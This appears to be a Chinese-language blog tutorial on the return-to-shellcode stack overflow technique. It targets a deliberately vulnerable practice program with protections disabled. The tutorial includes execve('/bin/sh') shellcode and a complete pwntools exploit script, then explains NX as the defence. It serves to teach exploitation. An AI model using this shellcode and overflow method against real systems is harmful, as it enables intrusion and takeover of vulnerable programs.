在上一篇文章中,我們學會了如何利用 Stack Buffer Overflow 在未啟用 Canary 和 PIE 保護機制的情況下,透過執行後門函數獲取程式的控制權。然而,在現實中,絕大多數的程式並不會有現成的後門函數可供我們利用,怎麼辦呢?那我們就自己寫一個吧!
本篇將介紹另一種 Stack 攻擊手法:Return to Shellcode(ret2sc),本篇文章架構如下:
本篇的範例程式 sc.c
如下:
#include "stdio.h"
int main() {
char buf[64];
printf("Buffer address: %p\n", buf);
printf("Please Input:\n");
scanf("%s", buf);
return 0;
}
請讀者使用以下命令編譯程式碼。gcc -fno-stack-protector -no-pie -zexecstack -o sc sc.c
此編譯方式會將 Canary、 PIE 以及文章後續會介紹的某個保護機制關閉。
所謂的 Shellcode 是一段有目的性的機器碼,常見用途是開啟一個 Shell,讓攻擊者能進一步控制目標系統。
由於 Shellcode 通常都是被存放在長度有限的記憶體中搭配其他漏洞讓程式執行此段 Shellcdoe,因此通常會直接調用系統呼叫,例如典型的 Shellcode 為 execve("/bin/sh", NULL, NULL)
的機器碼,直接調用 execve()
這個系統呼叫來執行 /bin/sh
。
除了開啟 Shell 以外,Shellcode 也可以執行許多不同功能,我們可以在 exploit-db 上看到許多不同功能的 Shellcode,例如刪除檔案、以最高權限執行 Shell 等等。
補充:Shellcode 為什麼不呼叫
system()
?
上一篇文章是透過跳轉到程式中的system("/bin/sh")
,然而system()
是 C 標準庫中的函數,雖然它可以執行 Shell,但需要依賴 libc 函數庫,並且system()
本質上是對execve()
的一層封裝。由於 Shellcode 追求極簡和高效,因此會使用系統呼叫的execve()
而不會看到使用需要依賴外部函式庫的system()
。
這類攻擊的核心概念就是透過控制 Return Address,將其指向我們注入的 Shellcode 位址,使程式跳轉並執行這段 Shellcode。
Shellcode 可以注入在 Stack、Heap、BSS Segment、Data Segment 這幾個可以儲存資料的區段,會依據不同程式碼靈活搭配使用。
接下來我們來分析範例程式,並對他執行 ret2sc 攻擊。
透過 Source Code,可以注意到有一個很大空間的字元陣列 buf
,接著程式會將此 Buffer 的位址輸出,並且使用 scanf()
讓我們對變數 buf
輸入一個字串。
然而,可以發現此程式並沒有對 %s
限制長度,因此我們能一直輸入直到遇到空格、換行或是 EOF,代表此程式有 Stack Buffer Overflow 漏洞。除此之外此程式還有 Leak Address 的問題,因此也能知道此 Buffer 的位址,也就是我們能知道我們注入的 Shellcode 在哪裡。
註 1:在上一篇文章中提到,Stack 的起始位址可以透過 ASLR 隨機化。由於我們並未關閉此保護機制(註 2),因此預設情況下,Stack 的地址是隨機的。這表示,我們在實際攻擊中無法預測 Shellcode 在 Stack 中的具體位置,通常需要配合其他漏洞來取得 Shellcode 的位址。此範例是為了練習而刻意設計,將 Stack 位址輸出給使用者,方便操作與理解。
註 2:不以關閉 ASLR 來進行練習的原因是,ASLR 是作業系統層級的保護機制,無法直接透過程式判斷目標系統是否開啟 ASLR。現代作業系統大多預設開啟 ASLR 的高級別保護(Level 2),這表示 Stack、Heap 以及共享函式庫的起始位址都會隨機化。因此,在進行實際 Pwn 攻擊時,必須假設 ASLR 是啟用的,並設法應對這種防禦機制。
由於不是所有程式都能看到 Source Code,因此我們也練習透過組合語言分析看看。因為 IDA 的反組譯結果帶有詳細資訊,圖片以 IDA 為例,讀者仍可使用 objdump 或其他工具的反組譯結果搭配閱讀。
可以看到整隻程式的架構如下:
排除掉 Function Prologue 和 Function Epilogue,我們從真正的內容開始分析。
printf()
rbp+var_40
放到儲存第二的變數的 rsi
暫存器。那 var_40
是什麼呢?這是 IDA 自動生成的變數名,代表某個函數中的區域變數。可以看到在 main 區塊的最上方它告訴我們 var_40 = byte ptr -40h
h
代表 Hex,即 0x40,整個意思代表 var_40
是一個指向往下偏移 0x40 個 Bytes 的位址的指標。回到程式就是代表這個變數存在 rbp-0x40
這個位址,即我們的 char buf[64];
。rdi
。並且最後將儲存回傳值的 eax
歸零,然後呼叫 printf()
。printf("Buffer address: %p\n", buf);
,會將 buf
的位址輸出到螢幕上。printf()
puts()
,因此可以推測 Source Code 為 puts("Please Input:")
或是 printf("Please Input:\n");
scanf()
buf
做為第二個參數、"%s" 做為第一個參數傳入 scanf()
,即 scanf("%s", buf);
。我們可以透過第一個參數為 "%s" 發現此 scanf()
調用沒有限制輸入長度,因此可以得知有 Stack Buffer Overflow 漏洞。透過上述分析有 Stack Buffer Overflow,因此整體的攻擊思路為:透過 scanf()
在 buf
變數中輸入 Shellcode,並將整個 Stack 填滿直到達到 Return Address,再將 Return Address 改成 buf
的位址,buf
的位址由程式輸出得知。
Stack 佈局如下:
接下來我們就能開始寫攻擊腳本了。
初始配置
from pwn import *
context.binary = './sc'
p = process('./sc')
首先,我們需要匯入 Pwntools,設定程式運行的二進位檔案架構,並啟動目標程式。
接收 buf
Address
p.recvuntil('Buffer address: ')
buffer_address = int(p.recvline().strip(), 16)
程式在運行時會輸出 buf
的位址,我們需要接收這個位址。
Pwntools 的 recvline()
函數可接收從程式輸出的資料,但它接收到的是一個字串,比如 "0x7fffffffe410"。由於位址是一個十六進位的數字,因此我們需要將此字串轉換為整數,可以透過 int() 函數並指定基數為 16 即 int(..., 16)
,如此一來我們才能正確地將該位址用作 Payload 的一部分,並覆蓋 Return Address。
Shellcode
接下來接下來我們需要準備可以啟動 /bin/sh 的 Shellcode,我們可以直接使用別人寫好的,將整段複製過來:
shellcode = b'\x50\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05'
也可以自己寫
shellcode = asm('''
xor rax, rax
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
''')
Pwntools 的 asm()
函數可以將組合語言指令轉換為相應的機器碼(即 Shellcode),它會自動根據初始配置設置於 Context 的架構進行上述組合語言的編譯
接下來我們說明組合語言的意思:
xor rax, rax
mov rax, 0x68732f6e69622f "\bin\sh"
push rax
首先先將 "\bin\sh" 這個字串 Push 進 Stack。
mov rdi, rsp
接著把指向 Stack 頂部的 RSP
的值複製給儲存第一個參數的 RDI
,此時 RDI
獲得一個指向 "\bin\sh" 這個字串的位址。
xor rsi, rsi
xor rdx, rdx
接下來則是把第二、三個參數歸零。
mov rax, 0x3b
syscall
最後則是調用 syscall
。當要調用 syscall
時,需要告訴作業系統要調用哪一個 syscall
,每一個 syscall
都有自己的編號,x86-64 的呼叫慣例規定調用 syscall
的編號會存在 RAX
暫存器中,因此我們將代表 execve()
的 0x3b
(59)放入 RAX
。這時 execve()
會依據呼叫慣例依序從 RDI
、RSI
、RDX
獲得參數,整段組合語言代表 execve("/bin/sh", NULL, NULL)
。
發送 Payload
padding = 0x40 + 0x8 - len(shellcode)
payload = flat(shellcode, 'A' * padding, buffer_address)
p.sendlineafter('Input:', payload)
從上述的程式碼分析可以看出 buf
的位置是從 rbp-0x40
開始,而到達 Return Address 之前還會經過 0x8
的 Saved RBP 空間,因此從開始輸入到 Return Address 中間經過了 0x40 + 0x8
,其中最前面是我們放 Shellcode 的位置,Shellcode 可能不足以填滿 0x48
,因此我們還需要補足 Padding。所以整段 Payload 為 flat(shellcode, 'A' * padding, buffer_address)
。
我們透過 sendlineafter()
,再接收到 "Input:" 之後發送 Payload。
取得互動控制
p.interactive()
最後透過此函數拿回程式控制權。
整段 Exploit 如下:
from pwn import *
context.binary = './sc'
p = process('./sc')
p.recvuntil('Buffer address: ')
buffer_address = int(p.recvline().strip(), 16)
shellcode = asm('''
xor rax, rax
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
''')
padding = 0x40 + 0x8 - len(shellcode)
payload = flat(shellcode, 'A' * padding, buffer_address)
p.sendlineafter('Input:', payload)
p.interactive()
執行之後可以看到我們成功 Pwn 了它:
有了攻擊就會有相應的保護機制,既然我們是執行存在變數裡的 Shellcode 造成攻擊,那我們就讓存在變數裡的內容都不可執行是不是就可以了?沒錯,這就是名為 NX(No-eXecute)的保護機制。
此保護機制會將可以儲存資料的部分:Stack、Heap、BSS 以及 DATA Segment 的區塊標記為不可執行的區塊,只有 Text Segment 標記為可執行,借此來杜絕這類 Shellcode 形式的攻擊。關閉此保護機制的方式是在 gcc 編譯時加入 -zexecstack
這個參數。
那麼如果開啟了這個保護機制又沒有後門函數就沒轍了嗎?
下一篇文章將會說明如何繞過(Bypass)此保護機制。